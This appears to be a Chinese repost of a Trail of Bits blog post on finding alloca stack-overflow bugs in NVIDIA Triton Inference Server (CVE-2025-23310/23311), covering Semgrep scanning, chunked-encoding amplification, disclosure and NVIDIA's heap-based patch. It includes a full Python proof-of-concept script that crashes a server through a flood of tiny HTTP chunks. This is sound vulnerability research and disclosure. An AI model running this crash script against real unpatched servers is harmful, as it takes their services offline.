揭秘NVIDIA Triton内存损坏漏洞:新员工的代码审计之旅

本文详细记录了作者在入职Trail of Bits首月发现NVIDIA Triton推理服务器内存损坏漏洞的全过程,涵盖Semgrep静态分析工具使用、HTTP分块传输编码攻击原理、漏洞验证与修复方案,最终获得两个CVSS 9.8分高危CVE编号。

在NVIDIA Triton中发现内存损坏(新员工视角)- Trail of Bits博客

Will Vandevanter
2025年8月4日

从Semgrep开始

在Trail of Bits担任AI/ML安全工程师的第一个月,我在常规入职实践中发现了NVIDIA Triton推理服务器中存在两个可远程触发的内存损坏漏洞。这些漏洞源于多个API路由(包括推理端点)处理HTTP请求的方式。

与所有新员工一样,我的前30天包括团队跟随、熟悉流程,并通过在我选择的开源项目上运行静态分析工具进行练习。我选择了Pwn2Own 2025范围内的AI软件作为分析目标。虽然自动化工具标记了潜在问题,但需要手动分析来证明可利用性,并需要采用替代角度(本例中是分块传输编码)来证明为什么某个漏洞/不安全代码片段对攻击者很重要。这项深入调查发现了两个问题,它们可被远程利用,并可能允许攻击者使服务崩溃。

这两个漏洞影响Triton推理服务器直至25.06版本,获得了CVSS 9.8评分和CVE分配(CVE-2025-23310和CVE-2025-23311)。我们向NVIDIA披露了这些漏洞,它们已于2025年8月4日在Triton 25.07版本中得到修复。

从Semgrep开始

NVIDIA的Triton推理服务器是分析的天然选择。它被广泛部署、积极维护,并在无数组织中为大规模机器学习推理提供动力。作为Pwn2Own新AI/ML类别的主要目标之一,它既代表了高价值的安全资产,也是在强化目标上应用静态分析的机会。

我的方法很简单:将我们的标准静态分析工具指向代码库,看看会出现什么模式。在Trail of Bits,我们用于初始侦察的工具之一是Semgrep。它快速、高度可配置,并受益于强大的社区贡献规则集合。

我使用我们的公开手册中的命令运行了多个公共规则集,并开始分析结果:

1
semgrep --metrics=off --config=~/public-semgrep-rules/ --sarif > analysis.sarif

图1:包含公共规则的简单Semgrep命令

一个特别有趣的命中来自我们手册中引用的0xdea规则集。具体来说,他们检测不安全alloca使用的规则(insecure-api-alloca.yaml)在http_server.cc和sagemerver_server.cc中标记了多个实例。alloca函数根据运行时参数在堆栈上分配内存,当这些参数不可信时是危险的,因为它可能导致堆栈溢出和内存损坏。

堆栈分配和HTTP分块传输编码

Semgrep规则识别了Triton HTTP处理逻辑中反复出现的易受攻击代码模式:

1
2
3
4
5
6
7
// 来自 http_server.cc
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
  v = static_cast<struct evbuffer_iovec*>(
      alloca(sizeof(struct evbuffer_iovec) * n));
  // ... 使用v进行HTTP请求处理
}

图2:使用alloca的易受攻击代码模式

此代码块调用evbuffer_peek来确定整个HTTP请求缓冲区由多少段组成,然后使用alloca在堆栈上分配evbuffer_iovec结构数组。此分配的大小是sizeof(struct evbuffer_iovec) * n,其中n由传入HTTP请求的结构控制,sizeof(struct evbuffer_iovec)通常为16字节。

我最初的评估是,这个发现代表了一个理论上的漏洞,实际影响有限。对于典型的HTTP请求,n将为1。虽然这个值可能会随着更大的HTTP请求而增加,但这种方法不可靠,并且在正常的HTTP处理和反向代理限制下不太可能发生。

然而,还有另一个角度需要考虑:HTTP分块传输编码。分块传输编码允许客户端在不预先声明总内容长度的情况下以多个离散段发送数据,而HTTP/1.1 RFC对客户端可以发送的分块数量没有限制。虽然HTTP块不直接映射到libevent的内部evbuffer段,但分块编码为攻击者提供了一个影响libevent处理和存储传入请求数据的原语。

通过发送数千个微小的HTTP块,攻击者可以影响libevent将请求数据分散到许多小的evbuffer段中。这种分块编码攻击模式将增加evbuffer_peek返回的n值,使攻击者对alloca分配的大小产生实质性影响,并导致崩溃。本质上,分块编码创建了一个放大效应,每个块(6字节)需要16字节的分配。

从接收器到源

确定了漏洞机制后,我需要规划实际的攻击向量。不安全的alloca模式出现在Triton的HTTP API和SageMaker服务的多个关键端点中:

  • 仓库索引请求(/v2/repository/index)
  • 推理请求
  • 模型加载请求
  • 模型卸载请求
  • 跟踪设置更新
  • 日志配置更新
  • 系统共享内存注册
  • CUDA共享内存注册

仓库索引和推理请求很重要,因为它们处理大多数Triton部署向客户端公开的核心功能。这意味着可以通过生产应用程序公开的正常推理端点触发易受攻击的代码。请注意,大多数路由的身份验证是可选的,默认情况下是关闭的。

开发可靠的概念验证崩溃需要确定触发溢出的最小块数。为此,我按照服务器构建指南的说明,使用调试符号编译了Triton,并尝试了不同数量的块,以找到在保持对内存布局的一定影响的同时会使服务器崩溃的点。简单的PoC如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
import socket
import sys

def exploit_inference_endpoint(host="localhost", port=8000, n=523800):
    print(f"[*] Targeting {host}:{port} with {n} chunks")

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host, port))

        # 使用分块编码制作HTTP推理请求
        request_headers = (
            f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
            f"Host: {host}:{port}\r\n"
            f"Content-Type: application/octet-stream\r\n"
            f"Inference-Header-Content-Length: 0\r\n"
            f"Transfer-Encoding: chunked\r\n"
            f"Connection: close\r\n"
            f"\r\n"
        )
        s.sendall(request_headers.encode())

        # 发送n个微小块以触发堆栈溢出
        for _ in range(n):
            s.send(b"1\r\nA\r\n")  # 包含'A'的非常短的块

        # 终止分块编码
        s.sendall(b"0\r\n\r\n")
        print(f"[+] Exploit payload sent - server should crash")

    except Exception as e:
        print(f"[!] Connection error: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    host = sys.argv[1] if len(sys.argv) > 1 else "localhost"
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8000
    exploit_inference_endpoint(host, port)

图3:通过推理请求使服务器崩溃的概念验证代码

针对易受攻击的实例运行此脚本会导致分段错误并使服务崩溃。注意,在断点处,我们打印了由evbuffer_peek确定的n值,它与块大小匹配。

图4:显示崩溃前n值的分段错误

使用默认的Triton服务器配置,攻击者仅需要3MB的HTTP请求即可成功触发分段错误并使服务器崩溃。在确定触发溢出所需的最小块数后,我开发了一个小型测试框架,系统地探索不同的块配置,最终目标是实现远程代码执行。此工具将发送分块有效负载并捕获由此产生的崩溃数据,包括指令指针值和堆栈跟踪。每次崩溃后,它会自动重启服务器以进行下一次测试迭代,从而允许进行更有条理的分析:

图5:在一轮崩溃后审查堆栈数据

尽管似乎有一些有希望的线索,对内存有一定控制,但最终我未能找到实现远程代码执行的路径。

修补和披露

NVIDIA的PSIRT确认了导致CVE-2025-23310(CVSSv3 9.8)和CVE-2025-23311(CVSSv3 9.8)的问题。

他们的解决方案通过用基于堆的分配替换不安全的堆栈分配,并在内存分配失败时安全退出来成功解决了根本原因:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 易受攻击的代码:
v = static_cast<struct evbuffer_iovec*>(
    alloca(sizeof(struct evbuffer_iovec) * n));

// 修复后的代码:
std::vector<struct evbuffer_iovec> v_vec;
try {
  v_vec = std::vector<struct evbuffer_iovec>(n);
}
catch (const std::bad_alloc& e) {
  // 处理内存分配失败
  return TRITONSERVER_ErrorNew(
      TRITONSERVER_ERROR_INVALID_ARG,
      (std::string("Memory allocation failed for evbuffer: ") + e.what())
          .c_str());
}
catch (const std::exception& e) {
  // 捕获任何其他std异常
  return TRITONSERVER_ErrorNew(
      TRITONSERVER_ERROR_INTERNAL,
      (std::string("Exception while creating evbuffer vector: ") +
        e.what())
          .c_str());
}

v = v_vec.data();

图6:使用基于堆的分配和安全退出

除了补丁之外,NVIDIA团队还实施了回归测试,以防止在未来的开发中重新引入类似的模式,我们认为这是一个优秀的主动措施。

从入职到CVE

通过使用Semgrep的结果并考虑HTTP解析实现的另一种方法,我发现即使在成熟的框架中,性能关键代码也会引入微妙的内存安全问题。作为参考,至少有一个漏洞是在五年前提交到Triton的。要找到类似的漏洞,我建议阅读并练习我们的测试手册,该手册涵盖了以上所有主题及更多内容。

我们感谢NVIDIA安全团队对此披露的专业处理以及他们对用户安全的承诺。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计